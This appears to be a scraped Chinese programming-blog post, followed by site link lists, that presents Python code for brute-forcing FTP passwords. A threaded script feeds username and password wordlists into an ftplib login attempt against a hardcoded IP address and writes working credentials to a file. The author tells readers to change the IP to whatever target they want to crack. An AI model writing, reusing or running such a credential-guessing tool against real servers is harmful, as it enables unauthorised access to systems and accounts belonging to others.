python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python中字典创建、遍历、添加等实用操作技巧合集
Jun 02 Python
python计算圆周率pi的方法
Jul 11 Python
Python3中详解fabfile的编写
Jun 24 Python
在Python中使用defaultdict初始化字典以及应用方法
Oct 31 Python
Python切片操作去除字符串首尾的空格
Apr 22 Python
Python使用random模块生成随机数操作实例详解
Sep 17 Python
python构建指数平滑预测模型示例
Nov 21 Python
基于Python+QT的gui程序开发实现
Jul 03 Python
基于Python的身份证验证识别和数据处理详解
Nov 14 Python
python中yield的用法详解
Jan 13 Python
PyTorch 实现L2正则化以及Dropout的操作
May 27 Python
Django drf请求模块源码解析
Jun 08 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php 计算两个时间戳相隔的时间的函数(小时)
2009/12/18 PHP
Laravel中使用FormRequest进行表单验证方法及问题汇总
2016/06/19 PHP
确保Laravel网站不会被嵌入到其他站点中的方法
2019/10/18 PHP
为超链接加上disabled后的故事
2010/12/10 Javascript
读jQuery之十一 添加事件核心方法
2011/07/31 Javascript
Jquery给基本控件的取值、赋值示例
2014/05/23 Javascript
js打开windows上的可执行文件示例
2014/05/27 Javascript
jquery预加载图片的方法
2015/05/27 Javascript
非常实用的js验证框架实现源码 附原理方法
2016/06/08 Javascript
AngularJS入门教程之ng-checked 指令详解
2016/08/01 Javascript
jquery判断页面网址是否有效的两种方法
2016/12/11 Javascript
微信小程序 仿美团分类菜单 swiper分类菜单
2017/04/12 Javascript
JQuery实现定时刷新功能代码
2017/05/09 jQuery
快速理解 JavaScript 中的 LHS 和 RHS 查询的用法
2017/08/24 Javascript
对于js垃圾回收机制的理解
2017/09/14 Javascript
[02:41]辉夜杯现场一家三口 “我爸玩风行 我玩血魔”
2015/12/27 DOTA
[49:31]TFT vs Mski Supermajor小组赛C组 BO3 第一场 6.3
2018/06/04 DOTA
[01:11:21]DOTA2-DPC中国联赛 正赛 Phoenix vs CDEC BO3 第三场 3月7日
2021/03/11 DOTA
Python Matplotlib实现三维数据的散点图绘制
2019/03/19 Python
TensorFlow——Checkpoint为模型添加检查点的实例
2020/01/21 Python
PyQt5 QDockWidget控件应用详解
2020/08/12 Python
python实现登录与注册系统
2020/11/30 Python
CSS3实现任意图片lowpoly动画效果实例
2017/05/11 HTML / CSS
Html5之webcoekt播放JPEG图片流
2020/09/22 HTML / CSS
标签和贴纸印刷:Lightning Labels
2018/03/22 全球购物
全球最大的户外用品零售商之一:The House
2018/06/12 全球购物
编写函数,将一个3*3矩阵转置
2013/10/09 面试题
MYSQL支持事务吗
2013/08/09 面试题
初中女生自我鉴定
2013/12/19 职场文书
《窗前的气球》教学反思
2014/04/07 职场文书
大型活动组织方案
2014/05/10 职场文书
交通工程专业推荐信
2014/09/06 职场文书
西安导游词
2015/02/12 职场文书
幼儿园心得体会范文
2016/01/21 职场文书
护理培训心得体会
2016/01/22 职场文书
2017元旦、春节期间廉洁自律承诺书
2016/03/25 职场文书